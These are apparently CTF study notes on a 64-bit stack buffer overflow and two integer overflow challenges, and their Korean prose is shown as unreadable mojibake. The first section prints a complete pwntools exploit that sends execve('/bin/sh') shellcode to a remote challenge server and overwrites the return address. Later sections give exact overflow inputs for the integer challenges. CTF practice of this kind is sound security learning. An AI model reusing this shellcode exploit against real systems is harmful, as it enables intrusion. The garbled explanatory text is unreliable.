๐ ์ง๋ ์ฐจ์
1. Stack Buffer Overflow ์ค์ต ๋ฌธ์ ํ์ด
๋ฌธ์ ํ์ด1 : overwrite_ret64
์คํํ ๋๋ง๋ค ๋ฒํผ์ ์ฃผ์๊ฐ ๋ฐ๋๊ณ ์๋ค => ASLR
์ทจ์ฝํ ๋ถ๋ถ : scanf๋ก ์ ๋ ฅ์ ๋ฐ๋๋ฐ ํฌ๊ธฐ ์ ํ์ ํ์ง ์๊ณ ์๋ค.
* ํ์ด ์์
1. buf์ ์ฃผ์๋ฅผ ๊ฐ์ ธ์จ๋ค. -
2. size๋ฅผ int์ 4๋ฐ์ดํธ๋งํผ ์ ๋ ฅํ๋ค.
3. Input์์ ๋ฒํผ์ค๋ฒํ๋ก์ฐ๋ฅผ ์ด์ฉํด ์์ฝ๋๋ฅผ ์คํ์ํจ๋ค.
pwntools์ ์ด์ฉํด์ ์ต์คํ๋ก์ ์ฝ๋๋ฅผ ์ง๋ณด์.
1. buf์ ์ฃผ์๋ฅผ ๊ฐ์ ธ์จ๋ค.
p.recvuntil(b'buf address : ')
buf_address = int(p.recvline().strip(), 16)
2. size ์ ๋ ฅ
p.sendlineafter(b'size : ', b'1000')
3. ๋ฒํผ์ค๋ฒํ๋ก์ฐ
- payload ๊ตฌ์ฑ :
64๋นํธ ํ๊ฒฝ ์์ฝ๋
๋ฒํผ 256byte๋งํผ ๋๋จธ์ง ๊ณต๊ฐ์ A๋ก ์ฑ์ฐ๊ธฐ
sfp 8byte๋งํผ B๋ก ์ฑ์ฐ๊ธฐ
ret๋ฅผ ๋ฒํผ์ ์์ ์ฃผ์๋ก ๋ฎ๊ธฐ
payload = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
payload += b'A'*(256-len(payload))
payload += b'B'*8
payload += p64(buf_address)
pause()
p.sendafter(b'Input : ', payload)
์ต์ข ์ต์คํ๋ก์ ์ฝ๋
from pwn import *
context.log_level="debug"
e = ELF('./overwrite_ret64')
p = remote('141.164.39.45', 10006)
p.recvuntil(b'buf address : ')
buf_address = int(p.recvline().strip(), 16)
print(hex(buf_address))
p.sendlineafter(b'size : ', b'1000')
payload = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
payload += b'A'*(256-len(payload))
payload += b'B'*8
payload += p64(buf_address)
pause()
p.sendafter(b'Input : ', payload)
p.interactive()
๋น์ทํ ๋ฌธ์ ๋ค : ๋๋ฆผํต basic_exploitation_000, basic_exploitation_001
2. Integer Overflow
intํ์ 4Byte, 32bit ์ด๋ค.
ํํํ ์ ์๋ ๋ฒ์ :
00000000 00000000 00000000 00000000(32) ~ 11111111 11111111 11111111 11111111(32)
์ต์์ ๋นํธ(MSB)๋ ์์๋ฅผ ๊ตฌ๋ถํ๊ธฐ ์ํด์ ์ฌ์ฉํ๋ค. 0์ด๋ฉด ์์, 1์ด๋ฉด ์์์ด๋ค.
๊ทธ๋์ ๋ํ๋ผ ์ ์๋ int์ ์ต๋๊ฐ์,
01111111 11111111 11111111 11111111 = 2,147,483,647 ์ด๊ณ
์ฌ๊ธฐ์ 1์ ๋ํ๋ฉด,
1 00000000 00000000 00000000 00000000 = -2,147,483,648 ์ด๋ค.
์ฆ integer overflow ๋ ์ ์ฅํ ์ ์๋ ๋ฒ์๋ฅผ ๋์ด์ ๋ ํฐ ๊ฐ์ ์ ์ฅํ๋ ค ํ ๋ ์ค์ ์ ์ฅ๋๋ ๊ฐ์ด ์๋์น ์๊ฒ ์์ฃผ ์์ ์๋ ์์๊ฐ ๋ ์ ์๋ ์ทจ์ฝ์ ์ด๋ค.
๋์ฑ :
์ธ์ด/ํ๋ซํผ๋ณ ์ ์ ํ์ ์ ๋ฒ์๋ฅผ ํ์ธํ์ฌ ์ฌ์ฉํ๋ค.
๊ฒฐ๊ณผ๊ฐ์ ๋ฒ์๋ฅผ ์ฒดํฌํ๋ ๋ชจ๋์ ์ฌ์ฉํ๋ค.
๋ฌธ์ ํ์ด2 : integer_overflow
intํ์ธ v4๋ฅผ ์ ๋ ฅ๋ฐ๊ณ
v4+v5๊ฐ 256๋ณด๋ค ์์ผ๋ฉด get_flag()ํจ์๋ฅผ ํธ์ถํ ์ ์๋ค.
v5๊ฐ 4096์ด๋๊น
v4+v5=intํ ์ต๋๊ฐ 2147483647 + 1 = > -2147483648(์์๊ฐ) ์ด ๋๋๋ก ํด์ฃผ๋ฉด ๋๋ค.
v4๋ฅผ ๊ตฌํด๋ณด์.
intํ ์ต๋๊ฐ 2147483647 + 1 - 4096 = v4
v4์ 2,147,479,552์ ์ ๋ ฅํด์ฃผ๋ฉด ๋๋ค !
๋ฌธ์ ํ์ด3 : gambling
__int64 gambling()
{
unsigned int v1; // [rsp+Ch] [rbp-14h] BYREF
int v2; // [rsp+10h] [rbp-10h] BYREF
int v3; // [rsp+14h] [rbp-Ch]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
v3 = 1000;
make_random();
puts("[chall] gambling");
puts("Start Gambling!\n");
while ( v3 >= 0 )
{
printf("current your money : %d\n\n", (unsigned int)v3);
puts("bat your money");
printf("bat money : ");
__isoc99_scanf("%d", &v1);
printf("choose lucky number : ");
__isoc99_scanf("%d", &v2);
printf("\nlucky number is %d\n", (unsigned int)win);
if ( v2 == win )
{
printf("You Win! ");
printf(" + %d money\n", v1);
v3 += v1;
}
else
{
printf("You Lost! ");
printf(" - %d money\n", v1);
v3 -= v1;
}
make_random();
if ( v3 > 9999999 )
{
puts("You are rich!!!!");
return 1LL;
}
}
puts("You are a beggar!");
return 0LL;
}
flag๋ฅผ ์ฝ์ผ๋ ค๋ฉด gambling() ํจ์์ ๋ฆฌํด๊ฐ์ ์์๋ก ๋ง๋ค์ด์ผ ํ๋๋ฐ,
v3์ด 9999999๋ณด๋ค ํด ๋ 1์ ๋ฆฌํดํ๋ค๊ณ ํ๋ค.
v3์ ๋งจ ์ฒ์ ๋ด ๋์ผ๋ก 1000์ด ๋ค์ด๊ฐ์๋ intํ ๋ณ์์ด๋ค.
bat money์ ์ ๋ ฅํ ๊ฐ, v1์ v3์์ ๋บ๋ค.
์ด๊ฒ์ ์ด์ฉํด์ v3์ ์์ฃผ ํฐ ๊ฐ์ผ๋ก ๋ง๋ค์ด์ผ๊ฒ ๋ค.
v3 = v3 - v1
๊ฐ๋จํ๊ฒ v1์ ์์๋ฅผ ๋ฃ์ผ๋ฉด ๋์ง ์์๊น?
1000 - -9999999 = 10,000,999 > 9999999
๊ทผ๋ฐ v1์ unsigned intํ ๋ณ์์ธ๋ฐ.. ์์๊ฐ ์ ๋์ง? ===> (์ถ๊ฐ) C์ฝ๋ ์ดํด๋ณด๋ฉด ์ ๋ ฅ์ ๋ฐ์ ๋ %ud๊ฐ ์๋ %d๋ก ๋ฐ์์ค์ ๊ทธ๋ฐ๋ฏ?
( integer overflow ์ด๋ก ์ ์ฉํ ํ์ด )
v3 - v1 > 9999999
1000 - v1 > 9999999
v1์ ์์ฃผ ํฐ ๊ฐ์ ๋ฃ์ด์ intํ ์ต์๊ฐ์ธ -2147483648์ -1ํ ๊ฐ์ ๋ง๋ค๋ฉด ์์๋ก ๋ฐ๋์ง ์์๊น
1000 - 2147484649 = - 2147483649 = 2147483647 (intํ ์ต๋๊ฐ)
-2147483648 : intํ ์ต์๊ฐ
10000000 00000000 00000000 00000000
์ฌ๊ธฐ์ 1์ ๋นผ๋ฉด -2147483649์ธ๋ฐ
10000000 00000000 00000000 00000001์ 2์ ๋ณด์ ์ทจํด์
01111111 11111111 11111111 11111111 = 2147483647 (intํ ์ต๋๊ฐ) ์ด ๋๋ค.
-2147483649 => 2147483647(intํ ์ต๋๊ฐ) ์์๋ก ๋ฐ๋
v3 - v1 = -2147483649 = 2147483647 > 9999999
1000 + 2147483649 = v1 = 2147484649
c์ธ์ด ์ฝ๋ ๋ณด๋๊น v1์ด intํ์ด์๋ค..! ๊ทธ๋์ ์์๊ฐ ๋๋๋ณด๋ค. ===> (์ถ๊ฐ) gdb๋ก ์ดํด๋ณด๋ฉด v1์ unsigned int๊ฐ ๋ง๊ธดํ๋ค.
โญ๊ณต๋ถํ ๊ฒ๋ค
1. ๋๋ฆผํต ๋ฒํผ์ค๋ฒํ๋ก์ฐ ๋ก๋๋งต, ์๊ฒ์๋ค